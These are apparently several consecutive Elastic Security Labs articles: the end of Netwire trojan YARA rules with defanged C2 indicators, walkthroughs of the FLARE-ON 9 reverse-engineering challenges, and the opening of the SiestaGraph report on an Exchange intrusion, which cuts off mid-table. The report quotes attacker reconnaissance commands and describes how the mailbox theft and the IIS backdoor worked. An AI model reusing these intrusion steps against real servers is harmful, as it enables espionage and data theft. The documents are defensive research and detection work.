       author = "Elastic Security"
       os = "Windows"
       arch = "x86"
       category_type = "Trojan"
       family = "Netwire"
       threat_name = "Windows.Trojan.Netwire"
   strings:
       $a = { C9 0F 44 C8 D0 EB 8A 44 24 12 0F B7 C9 75 D1 32 C0 B3 01 8B CE 88 44 }
   condition:
       all of them
}
rule Windows_Trojan_Netwire_4 {
   meta:
       author = "Elastic Security"
       os = "Windows"
       arch = "x86"
       category_type = "Trojan"
       family = "Netwire"
       threat_name = "Windows.Trojan.Netwire"
   strings:
       $a1 = "http://%s%ComSpec" ascii fullword
       $a2 = "%c%.8x%s" ascii fullword
       $a3 = "%6\\6Z65dlNh\\YlS.dfd" ascii fullword
       $a4 = "GET %s HTTP/1.1" ascii fullword
       $a5 = "R-W65: %6:%S" ascii fullword
       $a6 = "PTLLjPq %6:%S -qq9/G.y" ascii fullword
   condition:
       4 of them
}

Indicators
All indicators are also available for download in both ECS and STIX format in a combined zip bundle.
The following indicators were discussed in this research.
| Indicator                              | Type        | Note           |
| -------------------------------------- | ----------- | -------------- |
| 139.28.38[.]235                        | ipv4-addr   | NETWIRE RAT C2 |
| 149.102.132[.]253                      | ipv4-addr   | NETWIRE RAT C2 |
| 184.75.221[.]115                       | ipv4-addr   | NETWIRE RAT C2 |
| 185.136.165[.]182                      | ipv4-addr   | NETWIRE RAT C2 |
| 185.140.53[.]139                       | ipv4-addr   | NETWIRE RAT C2 |
| 185.140.53[.]144                       | ipv4-addr   | NETWIRE RAT C2 |
| 185.140.53[.]154                       | ipv4-addr   | NETWIRE RAT C2 |
| 185.140.53[.]61                        | ipv4-addr   | NETWIRE RAT C2 |
| 185.216.71[.]251                       | ipv4-addr   | NETWIRE RAT C2 |
| 194.36.111[.]59                        | ipv4-addr   | NETWIRE RAT C2 |
| 194.5.98[.]126                         | ipv4-addr   | NETWIRE RAT C2 |
| 194.5.98[.]178                         | ipv4-addr   | NETWIRE RAT C2 |
| 194.5.98[.]188                         | ipv4-addr   | NETWIRE RAT C2 |
| 194.5.98[.]65                          | ipv4-addr   | NETWIRE RAT C2 |
| 212.193.29[.]37                        | ipv4-addr   | NETWIRE RAT C2 |
| 212.193.30[.]230                       | ipv4-addr   | NETWIRE RAT C2 |
| 213.152.161[.]249                      | ipv4-addr   | NETWIRE RAT C2 |
| 217.151.98[.]163                       | ipv4-addr   | NETWIRE RAT C2 |
| 23.105.131[.]166                       | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]199                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]203                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]206                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]208                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]214                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.120.217[.]243                       | ipv4-addr   | NETWIRE RAT C2 |
| 51.161.104[.]138                       | ipv4-addr   | NETWIRE RAT C2 |
| 54.145.6[.]146                         | ipv4-addr   | NETWIRE RAT C2 |
| 80.66.64[.]136                         | ipv4-addr   | NETWIRE RAT C2 |
| 85.209.134[.]105                       | ipv4-addr   | NETWIRE RAT C2 |
| 85.31.46[.]78                          | ipv4-addr   | NETWIRE RAT C2 |
| 94.156.35[.]40                         | ipv4-addr   | NETWIRE RAT C2 |
| 20220627.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| admin96.hopto[.]org                    | domain-name | NETWIRE RAT C2 |
| alice2019.myftp[.]biz                  | domain-name | NETWIRE RAT C2 |
| asorock1111.ddns[.]net                 | domain-name | NETWIRE RAT C2 |
| banqueislamik.ddrive[.]online          | domain-name | NETWIRE RAT C2 |
| betterday.duckdns[.]org                | domain-name | NETWIRE RAT C2 |
| bigman2021.duckdns[.]org               | domain-name | NETWIRE RAT C2 |
| blazeblaze.ddns[.]net                  | domain-name | NETWIRE RAT C2 |
| chongmei33.myddns[.]rocks              | domain-name | NETWIRE RAT C2 |
| clients.enigmasolutions[.]xyz          | domain-name | NETWIRE RAT C2 |
| gracedynu.gleeze[.]com                 | domain-name | NETWIRE RAT C2 |
| ingobea.hopto[.]org                    | domain-name | NETWIRE RAT C2 |
| iphanyi.edns[.]biz                     | domain-name | NETWIRE RAT C2 |
| iphy.strangled[.]net                   | domain-name | NETWIRE RAT C2 |
| kimlee11.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| loffgghh.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| megaton.gleeze[.]com                   | domain-name | NETWIRE RAT C2 |
| moran101.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| netuwaya.servecounterstrike[.]com      | domain-name | NETWIRE RAT C2 |
| nowancenorly.ddns[.]net                | domain-name | NETWIRE RAT C2 |
| podzeye.duckdns[.]org                  | domain-name | NETWIRE RAT C2 |
| podzeye2.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| recoveryonpoint.duckdns[.]org          | domain-name | NETWIRE RAT C2 |
| redlinea[.]top                         | domain-name | NETWIRE RAT C2 |
| roller.duckdns[.]org                   | domain-name | NETWIRE RAT C2 |
| rozayleekimishere.duckdns[.]org        | domain-name | NETWIRE RAT C2 |
| sani990.duckdns[.]org                  | domain-name | NETWIRE RAT C2 |
| saturdaylivecheckthisout.duckdns[.]org | domain-name | NETWIRE RAT C2 |
| uhie.hopto[.]org                       | domain-name | NETWIRE RAT C2 |
| uhie2020.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| wcbradley.duckdns[.]org                | domain-name | NETWIRE RAT C2 |
| xman2.duckdns[.]org                    | domain-name | NETWIRE RAT C2 |
| zonedx.ddns[.]net                      | domain-name | NETWIRE RAT C2 |


FLARE-ON 9 Solutions:
Daniel Stepanic,Cyril François,Salim Bitam,Remco Sprooten — Wed, 04 Jan 2023 00:00:00 GMT
Introduction
To celebrate cybersecurity month, the Malware Analysis and Reverse Engineering Team (MARE) enjoyed participating in the Mandiant FLARE-ON Challenge. FLARE-ON is an excellent event for participants of all backgrounds and experience levels who want to learn more about malware analysis. This year consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.
Challenge 1 - “Flaredle”

  Welcome to FLARE-ON 9! You probably won't win. Maybe you're like us and spent the year playing Wordle. We made our own version that is too hard to beat without cheating. Play it live at: http://flare-on.com/flaredle/

Solution
After downloading and unpacking the file, we see 4 file objects. 
The index.html file and accompanying js files give away what we are talking about is a HTML/JavaScript challenge. Opening the file script.js confirms our suspicion. In the first few lines of code the answer to the challenge is clear to the trained eye. Let’s explain.

On line 9 the value of rightGuessString translates to WORDS[57]. Even if you don't know javascript, the variables and iterative loop suggest an evaluation of the user-supplied guess (rightGuessString) and a hard-coded value. If we look at the contents of words.js, we see the correct value on the 58th line (javascript arrays begin with 0 but the file start at line 1): "flareonisallaboutcats".

By visiting the online game and submitting this string, we can validate the correct flag for challenge one!

Flag: flareonisallaboutcats@flare-on.com
Challenge 2 - “Pixel Poker”

  I said you wouldn't win that last one. I lied. The last challenge was basically a captcha. Now the real work begins. Shall we play another game?

Solution
This challenge consists of a 32-bit Windows application that has been sweeping the nation, called Pixel Poker! Users get 10 attempts to click on the correct pixel from the window before the program terminates.

The error message after 10 failed attempts provided a reliable lead to follow, and we focused on where that click restriction was implemented. We converted that decimal value of 10 into hexadecimal (0xA) and kicked off an immediate value search.

The first result from our search is listed with instructions: cmp eax, 10. You might not be fluent in assembly, but “cmp” is a mathematical instruction to compare the contents of “eax” with the number ten. At first glance, that looks like the kind of logic behind that click restriction.

By viewing the decompiled code, we can confirm this is our intended target instruction with the error message we saw on prior screenshot after the 10 attempts. We’re one step closer to knowing where to click in the window.

In order to locate the validation logic and those coordinates, we look at code in close proximity to the previous error message. We observe two instances where the EAX register is populated using strings (“FLAR”) and (“E-On”) that then get divided with hardcoded values and compared with our clicked pixel values.

After these straightforward operations, we derive two coordinates (95, 313). If you are up for a challenge and haven’t had too much coffee, go on and click that pixel.
The flag can also be attained by leveraging a debugger and enabling the zero-flag (ZF) on two JNZ (jump-if-not-zero) instructions that appear directly after the previously-mentioned compare checks. This method allows us to bypass manually clicking the correct pixel location.


For fun, we wrote a small program to patch out the click restriction and brute force clicking all available pixels using the SendMessage API.

Two minutes and about 100,000 clicks later, the flag was released to us.

*_Flag: *_w1nN3r_W!NneR_cHick3n_d1nNer@flare-on.com
Challenge 3 - “Magic 8 Ball”

  You got a question? Ask the 8 ball!

Solution
This challenge appeared to be an interactive 8-ball game developed with an open source SDL library. Based on quick observations, there are two obvious inputs moving the 8-ball directionally (left, up, down, right) and an input box with a maximum of 75 characters.

The first starting point was tracing the string “Press arrow keys to shake the ball” that was displayed in the application. The decompiled view of the function containing this string showed another string directly above it was being copied (“gimme flag pls?”).

Our next pivot was reviewing the code calling this function for more context. After the software executes and the game is displayed, a “do while” loop polls for input.

One function we reviewed stood out, one containing multiple “if then” conditional statements based on single character values.
Our malware analysts begin their careers in childhood, diligently playing video games for literally hours at a time– to them this pattern resembles the Konami code, by which players enabled undocumented features after entering a series of inputs (left, left, up, right, up, left, down, up, left).

By moving the 8-ball first in this order of operations and then entering the previously-recovered string (“gimme flag pls?”), we unlocked the flag.

Flag: UcRackeD_th1$_maG1cBaLL!! _@flare-on.com
Challenge 4 - “darn_mice”

  "If it crashes it's user error." -Flare Team

Solution
The fourth challenge was a 32bit PE binary. Executed without any arguments, the binary initially appeared to run briefly before terminating. When run with arguments, though, we see a strange error message.

After opening the binary in IDA and tracing that error, we determined that the first argument is being passed to the function sub_401000.

In this function we see that our input is added to the values of a constant array, and at line 51 we see that the result is executed as code. This means that our input and the value in the array are resolved as an opcode which is returned. And that means a NOP opcode (0x90) isn’t an option, if you’re following along. The opcode we’re looking for is RET (0xC3): we copied the byte sequences out of IDA and hacked together an evaluation in Python.
arr = [0x50,0x5E,0x5E,0xA3,0x4F,0x5B,0x51,0x5E,0x5E,0x97,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA2,0xA3,0x6B,0x7F]"".join([chr(0xC3 - c) for c in arr])

Using the current input we can retrieve the flag.

Flag: iw0uld_l1k3_to_RETurn_thisjoke@flare-on.com
Challenge 5 - “T8”

  FLARE FACT #823: Studies show that C++ Reversers have fewer friends on average than normal people do. That's why you're here, reversing this, instead of with them, because they don't exist. We’ve found an unknown executable on one of our hosts. The file has been there for a while, but our networking logs only show suspicious traffic on one day. Can you tell us what happened?

Solution
For this challenge, we’ve been provided with a PCAP in addition to a binary.
PCAP file overview
The PCAP contains the communication between the binary and a C2 server (not provided). Having studied thousands of PCAPs, we note an exchange between the binary and C2 server that resembles base64.

Binary overview
This binary appears to be written in C++ or implement classes in a similar way.

If this binary is written in C++, our goal is to find the VTABLE and reconstruct it. The VTABLE in question is located in .rdata at the address 0x0100B918, which means we can stop speculating about this being C++.

Renaming the VTABLE functions makes analysis easier and more efficient. We stepped through execution, and a few operations stood out. Following the flow of execution, a pseudorandom string was generated by the function located at 0x0FC1020, using the srand and rand APIs to randomly generate 5 digits. After appending those to the substring FO9, the entire string is MD5-hashed.

The string “ahoy” is RC4-encrypted using the MD5 hash as a key, and then the result is base64-encoded and sent to the server using an HTTP POST request. Data sent back from C2 is base64-decoded and then decrypted using the same MD5 hash. To proceed with the challenge, we’ll need to apply our understanding of this configuration.
Our next objective is to bruteforce the random string to derive the RC4 key. To do that, we wrote a script to generate a word list of all the possible values for that string of eight characters which will resemble “FO9\<5DIGITS>”. We also know that the string “ahoy” is encrypted and encoded by this process, which means we can look for that string in the PCAP by searching for “ydN8BXq16RE=”.

Our script tells us the random string (F0911950) and hash (a5c6993299429aa7b900211d4a279848), so we can emulate the C2 server and replay the PCAP to decrypt the data. But, as seen in the screenshot below, just putting a breakpoint after the decrypt_server_data function we can find the flag.

Flag: is33you_m00n@flare-on.com
Challenge 6 - “à la mode”

  FLARE FACT #824: Disregard flare fact #823 if you are a .NET Reverser too. We will now reward your fantastic effort with a small binary challenge. You've earned it kid!

Solution
This challenge starts off in a hauntingly familiar way: with an incident response chat log and a .NET DLL.

The chat log offers a clue that another (missing) component may interact with the DLL.

Working with .NET samples often, you’ll be familiar with dnSpy. Right away we spotted a function of the DLL labeled GetFlag and containing client-side code for connecting to a NamedPipe called FlareOn.

Given the previous clue, we know there is something more to this DLL. We opened it in IDA and noted some interesting strings, which appear superficially similar.

Cross-referencing these strings led us to a simple encryption function used throughout the program with a single-byte XOR (0x17). In this function the library imports are consistent with NamedPipe functionality.

After annotating the libraries and reviewing this functionality, it establishes a named pipe and performs validation.

This validation function uses a new string encryption function and string comparison (lstrcmpA) when the connection occurs.

With this information, we used x64dbg to set this validation function as the origin function and retrieved the decrypted flag.

Flag: M1x3dM0dE4_l1f3@flare-on.com
Challenge 7 - “anode”

  You've made it so far! I can't believe it! And so many people are ahead of you!

Solution
This challenge is a 55 MB Windows PE file which appears to be a packed Node.js binary. When the binary is executed it asks for a flag and returns a “Try Again” error message.
![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg
Conveniently (but not helpfully), we see it when we search strings.

We can better locate it using the HxD hex editor, which reveals it in a larger blob of cleartext code.

This blob of code also tells us that the flag is expected to have a length of 44 characters. Sometimes the wrong answer tells you enough to get the right one, though. The attempt generated a new error, though. Readers should note that this attempt was coincidentally made using an unpacked version.

That error message appears in the cleartext blog of code we discovered, which helps us locate the responsible logic and get one step closer to the right flag.

Curiously, when submitting the same bad flag using the packed binary, the error is different.
![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg
If we comment the condition out to bypass that validation, we get another new error.

Something is definitely happening, and while experimenting has revealed a few things we should finish reviewing this cleartext blob of code to understand how the challenge works. It appears as though the flag is submitted and transformed within a state machine that we need to figure out.

And the result of that state machine operation is evaluated against the correct flag.

But now we have a different (bigger) problem, because it looks like each value is XOR-encrypted with a randomly-generated value supplied by the math.random function. Also we don’t know the sequence of values that produce the expected sequence of operations. But this is functional in the challenge binary, which means there’s a fixed sequence of randoms.
We need to dump those values, and we can do this by patching the script being used by the challenge binary and writing that sequence of values to a file.

We also dump the sequence of states using the same method.

Now we can patch the binary to output both sequences of values and states, which makes debugging so much easier.

We have the elements we need to reverse operations and their order, but we’re feeling lazy so let’s build ourselves a javascript deobfuscator! This will help get rid of that state machine and reverse the encryption to reveal the flag, we’re using the pyesprima frontend for Javascript. First, we’ll create a class that inherits the esprima.NodeVisitor class and will be able to visit the JavaScript Abstract Syntax Tree (AST).

Next, we then visit the AST and collect each subtree associated to a switch case node.

For each state that was previously extracted, we test the if/else node’s condition and choose the right branch’s inner subtree. Either the predicate is a literal and we directly test its value or the predicate is a Math.random call so we test the next value.

Finally, for each expression we determine if it contains a Math.floor(Math.random) call and then replace it with the right random value, then for the current state replace the original subtree with our expression.

Pyesprima doesn’t return JavaScript code back from its AST. So we implemented a very small JavaScript code emitter that replaces each node with the proper JavaScript code recursively.

But after comparing the deobfuscated script and the packed binary, we still don’t have the same result!
There must be some shenanigans in addition to math.random. We quickly discover by testing that the if(x) and the if(xn), with x being a number, have two strange different behaviors. if(x) always returns false if the number is > 0 and if(xn) always returns false if the number contains a zero!
So with this in mind, we fixed the predicates in the script before running the deobfuscator again.


This looks like our obfuscated script.

Let’s reverse this obfuscation.

The final inverted script with “target” as the initial flag looks like this:

Readers interested in the scripts created for FLARE-ON challenges can find them linked at the end of this publication.
Running the script ends up producing an array.

Flag: n0tju5t_A_j4vaSCriP7ch4l1eng3@flare-on.com
Challenge 8 - “Backdoor”

  I'm such a backdoor, decompile me why don't you…

Solution
This challenge consists of an 11MB Windows PE binary that executes when launched, but returns nothing to the console. We often augment analysis with packet captures, and were listening with WireShark when we observed a DNS resolution event. We’re off to a great start.

We notice a convention that may be significant: we have flare_xx functions and their flared_yy counterparts. If we inspect the flare_xx functions, they each contain a “try/catch” structure.
![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg
But when we turned to look at their flared_yy counterparts, something's not quite right.

In dnSpy, we trace execution to an InvalidProgramException and don’t reach the flared_yy code. But in spite of that, the challenge seems to execute somewhat successfully.
Beginning with main and analyzing the first function, we have a rough outline of what’s happening: there are two layers of “try/catch” logic doing similar things in different ways, and creating a dynamic method Intermediate Language (IL) somehow provided by parameters.
The first layer, flare_71, constructs a dynamic method with the IL directly passed as parameter:
![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg

Some behind-the-scenes work happens to patch the IL code using a metadata token that has the dynamic method’s context before SetCode is called. A dictionary of locations and metadata tokens is resolved by calling GetTokenFor in the same context, as well.

After patching, the IL is only valid in the context of the dynamic method. To reconstruct the binary properly, now we need to dump the IL before it can be modified, patch it with the right metadatatoken, and then patch the binary to fix the broken function.
We can create a script to do that in Python.

After patching the binary’s first layer, it decompiles correctly. The flared_70 function, responsible for running the second obfuscation layer, is a bit more complicated though.
The function will read one of its PE sections by name, using the first 8 characters of the hash of the metadata token and corresponding to the function that raised the InvalidProgramException error. This is decrypted with a hardcoded key. The decrypted section contains the IL of the function to call.

The IL patching is somewhat complicated this time and involves a little obfuscation.

The next problem is that we don’t have all the hashes beforehand, only when the function gets called. If we put a breakpoint on the resolving function, we can dump each hash.

We wrote a script to do the patching automatically and run it each time we add a new hash.

At this point most of the functions are deobfuscated and we can move on to the core of the challenge.
Initially we observed a large number of DNS resolution events, but didn’t see the malware attempt a network connection to our Flask server. While debugging the sample, though, we can see what looks like an attempt to process commands.

The problem is that we still don’t know how to interact with the backdoor. By backtracking to the source of each command, we can see that this sample is using the IP addresses received from these DNS resolutions for communication. Now we know why we didn’t see this sample try to connect to our Flask server, at least.
How this worked, we were about to learn, is a little complicated.
The first IP address is used to create a file, after which all commands arrive in the form of a “255.x.y.z” network address. Each IP address returned to the sample is parsed for its octets, but it might be easier to understand with a concrete example:
When a DNS resolution returns 255.0.0.2, the backdoor expects two specific bytes of data (43d and 50d) which are used to calculate what superficially resembles a network address, 43.50.0.0. The command processing function then performs a comparison and appends a value between 0 and 22.

The flared_56 function XORs a value in an array with 248 to determine if the result is equal to the value passed in the parameter or not. If so, it appends a small chunk of text to one of the object’s properties and that value is then removed from the array.

This tells us which command to send and in which order to append all the text chunks. We also noticed that when the array value is empty the _bool flag is set to false. That’s probably not an accident, so let’s inspect any functions using that flag.

This function is triggered each time an element is deleted from the value array.

We can expect something to happen once the right conditions are met, and endeavor to contrive them.
First, we generated a list of all possible IP address values. Then we configured FakeDns to resolve *.flare-on.com to that value list.

Next, we use FakeDns to respond to requests using a round-robin approach that resolves to each IP address in order, until finally we get the response we were waiting for.

*_Flag: *_W3_4re_Known_f0r_b31ng_Dyn4m1c@flare-on.com
Challenge 9 - “encryptor”

  You're really crushing it to get this far. This is probably the end for you. Better luck next year!

Solution
For this challenge, we’re provided two files: a Windows PE executable and an encrypted file.

Encryption is interesting, and when we opened it in HxD we immediately saw a bunch of garbage followed by hexified data.

When the binary is executed, it helpfully indicates a path is expected as an argument.

But nothing happens when a random file is chosen, so a less random file must be what we need.

We begin by tracing the function in IDA and note that it’s looking for a specific extension, “.EncryptMe”.

Let’s try again with a random file that uses that specific file extension.

And we see a new file generated with a different extension (“.Encrypted”) and a larger file size.

Looking more closely at the executable in IDA, we determine that the binary is using ChaCha20 with a random key encrypted using RSA-2048.

We need that key.
On the most basic level, encryption is just a system of math made up of basic operations like addition and multiplication. RSA is considered a strong implementation because it uses big numbers, and most RSA libraries implement a big number library of some kind. But we don’t really want to reverse all that just for the key, especially when we can find all the related functions in the sample and apply our knowledge of RSA.
We need to generate prime numbers for two variables, p and q.

We need to generate the modulus value n, which is equal to p*q. Using p and q as inputs, return n. So far, so good.

And we’re going to need a value phi, which is equal to (p-1)*(q-1).

We deduce that the 2 previous functions are the decrement function that produce p-1 and q-1.

Finally, we have an operation that produces the secret key d using phi and the exponent e.

Notice however that something fishy is already happening because the global variable containing the exponent e is reused and will contain the private key d. Now at least we can validate that the key is encrypted with the private key (d, n) instead of the public key (e, n).

We can use the public key to decrypt the ChaCha20 key, however we don’t know the modulus value or the encrypted key. Fortunately for us, they are both hexified and appended to the encrypted output file.

The encrypted ChaCha20 key is actually contained in the last three rows of the init structure, along with the nonce.

The key can be decrypted with a little python.

And we’re one step closer.

By tracing execution with x64dbg, we can force the decryption of the encrypted file by replacing the ChaCha20 parameters with the key and nonce we’ve just obtained. Another flag down, and one more to go!

*_Flag: *_R$A_$16n1n615_0pp0$17e0f_3ncryp710n@flare-on.com
Challenge 10 - The Karaoke Labyrinth
Somehow every member of the team has a nearly encyclopedic knowledge of song lyrics, and intuited their way through this one. Surprisingly whimsical, no reversing necessary.
Challenge 11 - “The challenge that shall not be named”

  Protection, Obfuscation, Restrictions… Oh my!! The good part about this one is that if you fail to solve it I don't need to ship you a prize.

Solution
This was the eleventh and final challenge of FLARE-ON 9, and unexpectedly straightforward after some of the previous ones. This challenge consisted of a binary, running strings on it gave some hints about it.

“PyInstaller bundles a Python application and all its dependencies into a single package” is a nice summary of what PyInstaller is used for. This binary is compiled from Python scripts and packaged as a single executable, which is less of a problem than it might seem. We encounter those often enough that we’ve found tools to extract python compiled in this way, and we pulled out a few python files.
One of the files, 11.py, threw errors when we attempted to step through it and complained that the library “‘crypt’ has no attribute ‘ARC4’”.

That’s kind of interesting. Notably, we can modify the crypt.py script located in “PYTHON_FOLDER_PATH\lib\crypt.py”, adding the ARC4 function and the class it returns with our custom encrypt function.

When we run 11.py again, this time it prints us a beautiful flag which wakes us from the dream (or nightmare) that is the FLARE-ON challenge.

*_Flag: *_Pyth0n_Prot3ction_tuRn3d_Up_t0_11@flare-on.com
Conclusion
For the 2022 FLARE-ON challenge, that’s a wrap! We learned a bunch of new things this year and we hope you enjoyed reading our solutions. We’re looking forward to reading yours and learning things we didn’t try.
For those who have waited patiently for a link to scripts, here you go.
Acknowledgements
We want to thank Elastic and Devon Kerr, who gave us the opportunity to spend a week focused on this event. Thanks also to the Mandiant team for the fun and thoughtful challenges: well done. To the researchers who participated, thank you for making it a phenomenal week of learning.


SiestaGraph: New implant uncovered in ASEAN member foreign ministry
Fri, 16 Dec 2022 00:00:00 GMT
Key takeaways

Likely multiple threat actors are accessing and performing live on-net operations against the Foreign Affairs Office of an ASEAN member using a likely vulnerable, and internet-connected, Microsoft Exchange server. Once access was achieved and secured, the mailboxes of targeted individuals were exported.
Threat actors deployed a custom malware backdoor that leverages the Microsoft Graph API for command and control, which we’re naming SiestaGraph.
A modified version of an IIS backdoor called DoorMe was leveraged with new functionality to allocate shellcode and load additional implants.

Preamble
In early December, Elastic Security Labs observed Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member.
In spite of diverse security instrumentation observed during this activity, the threat actors were able to achieve:

The execution of malware on Exchange Servers, Domain Controllers, and workstations
Exfiltration of targeted user and group mailboxes
Deploy web shells
Move laterally to user workstations
Perform internal reconnaissance
Collect Windows credentials

Because the intrusion is ongoing and covers almost the entire MITRE ATT&CK framework, the analysis sections will use a timeline approach.

  For a deep dive analysis of the SIESTAGRAPH, DOORME, or SHADOWPAD malware families, check out our follow on publication that covers those in detail. In addition, there are associations between this campaign and others based on other observations and 3rd party reporting.
  Updated: 2/2/2023

Analysis
The investigation, which we’re tracking as REF2924, began with the execution of a Powershell command used to export a user mailbox. While this is a normal administrative function, the commands were executed with a process ancestry starting with the IIS Worker Process ( w3wp.exe ) as a parent process of cmd.exe , and cmd.exe executing Powershell.
These events started the investigation that later identified multiple threat actors within the contested network environment.
The first events observed from this cluster of activity were on November 26, 2022, with the detection of a malicious file execution on a Domain Controller. Because of this, it is likely Elastic Defend was deployed post-initial compromise and was deployed in “Detect” mode. Throughout our analysis, we observed other security instrumentation tools in the environment indicating the victim was aware of the intrusion and trying to evict the threat actors.
Because of the multiple malware samples achieving similar goals, various DLL sideloading observations, and the presence of a likely internet-connected Exchange server; we believe that there are multiple threat actors or threat groups working independently or in tandem with each other.
November 26–30, 2022
Malware execution
The earliest known evidence of compromise occurred on November 26, 2022, with the execution of a file called OfficeClient.exe executed from **C:\ProgramData\Microsoft** on a Domain Controller.
10-minutes after OfficeClient.exe was executed on the Domain Controller, another malicious file was executed on another Windows 2019 server. This file was called Officeclient.exe and executed from **c:\windows\pla**. On November 28, 2022, *officeup.exe* was executed on this same Windows 2019 server from **C:\programdata**.
On November 29, 2022, the OfficeClient.exe file was executed on an Exchange server as C:\ProgramData\OfficeCore.exe.
All three of these files ( OfficeClient.exe , Officeclient.exe , and OfficeCore.exe ) have an original PE file name of windowss.exe , which is the file name assigned at compile time. We are naming this malware family “SiestaGraph” because of the long sleep timer and the way that the malware uses the Microsoft Graph API for command and control.
As of December 8, 2022, we observed a variant of SiestaGraph in VirusTotal, uploaded from the Netherlands on October 14, 2022. SiestaGraph makes use of a .NET API library that functions as an alternative to using Microsoft Graph, which is an API to interact with Microsoft cloud, including Microsoft 365, Windows, and Enterprise Mobility + Security.
Internal reconnaissance
On November 28, 2022, the threat actor began performing internal reconnaissance by issuing standard commands such as whoami , hostname , tasklist , etc. These commands were executed with a process ancestry starting with the IIS Worker Process ( w3wp.exe ) as a parent process of cmd.exe , and cmd.exe executing the commands.
cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&whoami

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&hostname

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&tasklist

Additional adversary reconnaissance was performed to enumerate local network assets as well as victim assets at embassies and consulates abroad. There has been no indication that this information has been subsequently exploited for additional access or information at this time.
On November 29, 2022, the threat actor began collecting domain user and group information with the net user and net group commands, again issued as child processes of w3wp.exe and cmd.exe. These commands confirmed that this was not an entirely scripted campaign and included an active operator by the fact that they forgot to add the /domain syntax to two of the 20 net user commands. While the net user command does not require the /domain syntax, the fact that this was only on two of the 20 occurrences, it was likely an oversight by the operator. This was the first of multiple typographical errors observed throughout this campaign.

Exporting Exchange mailboxes
On November 28, 2022, the threat actor started to export user mailboxes, again using the w3wp.exe process as a parent for cmd.exe , and finally Powershell. The threat actor added the Microsoft.Exchange.Management.PowerShell.SnapIn module. This module provides the ability to manage Exchange functions using Powershell and was used to export the mailboxes of targeted Foreign Service Officers and saved them as PST files.

In the above example, the Received -gt and Sent -gt dates timebox the collection window as all emails sent and received after ( gt is an acronym for “greater than”) November 15, 2022. The timeboxing was not uniform across all mailboxes and this process was repeated multiple times. Again, in the above example from November 28, 2022, the timebox was for all sent and received emails from November 15, 2022, to the current date (November 28, 2022); on December 6, 2022, the mailbox was exported again, this time with a gt value of November 28, 2022, which was the date of the last export.
In another example in this phase, the threat actors targeted a mailbox called csirt. While this is unconfirmed, “csirt” is commonly an acronym for Cyber Security Incident Response Team.

Taking into consideration the timebox used on the csirt export, if this is the industry standard acronym of CSIRT, the intrusion could have started as early as September 1, 2022, and the threat actors were monitoring the CSIRT to identify if their intrusion had been detected.
Throughout this phase, a total of 24 mailboxes were exported.
Once the mailboxes were exported, the threat actor created a 7zip archive called 7.tmp with a password of huebfkaudfbaksidfabsdf.

Three of the mailboxes, one of which being the csirt mailbox, were archived individually. These three mailboxes were archived with a .log.rar or .log file extension.

Finally, the threat actor created a 200m 7zip archive called o.7z and added the previously created, password-protected, 7.tmp archive to it.

IIS backdoor module
On November 28, 2022, we observed the loading of two DLL files, Microsoft.Exchange.Entities.Content.dll and iisrehv.dll through the execution of the iissvcs services using svchost.exe. Both Microsoft.Exchange.Entities.Content.dll and iisrehv.dll were loaded using the iissvcs module of the Windows Service Host through the execution of C:\Windows\system32\svchost.exe -k iissvcs. These malicious IIS modules are loosely based on the DoorMe IIS backdoor.


  For context, IIS is web server software developed by Microsoft and used within the Windows ecosystem to host websites and server-side applications. Starting on version 7.0, Microsoft extended IIS by adding a modular architecture that allows individual modules to be added or removed in order to achieve functionality depending on an environment’s needs. These modules represent individual features that the server can then use to process incoming requests.

During the post-compromise stage, the adversary used the malicious IIS module as a passive backdoor monitoring all incoming HTTP requests. Depending on a tailor-made request by the operator, the malware will activate and process commands. This approach can be challenging for organizations as there is usually low visibility in terms of monitoring and a lack of prevention capabilities on these types of endpoints. In order to install this backdoor, it requires administrator rights and for the module to be placed inside the %windir%\System32\inetsrv directory, based on the observed artifacts we believe initial access was gained through server exploitation from a recent wave of Microsoft Exchange RCE exploit usage.
The malicious module (C++ DLL) is first loaded through its export, RegisterModule. This function is responsible for setting up the event handler methods and dynamically resolving API libraries for future usage. The main functionality of the backdoor is implemented using the CGlobalModule class under the event handler OnGlobalPreBeginRequest. By overriding this event handler, the malware is loaded before a request enters the pipeline. The core functionality of the backdoor all exists in this function, including cookie validation, parsing commands, and calling underlying command functions.

The malware implements an authentication mechanism based on a specific cookie name that contains the authentication key. This malicious IIS module checks for every incoming HTTP request for the specified cookie name, and it returns a success message in case of a GET request. The GET request is used as a way to test the backdoor’s status for the operator, and it also returns back the username and hostname of the impacted machine. Commands can be passed to the backdoor through POST requests as data.

Throughout our analysis, we discovered old samples on VirusTotal relating to this backdoor. Although they have the same authentication and logic, they implement different functionalities. The cookie name used for authentication was also changed alongside the handled commands.
This observed backdoor implements four different commands, and the symbol PIPE is used to separate the command ID and its arguments.
| ID   | Parameter                           | Description                                                                                                     |
| ---- | ----------------------------------- | --------------------------------------------------------------------------------------------------------------- |
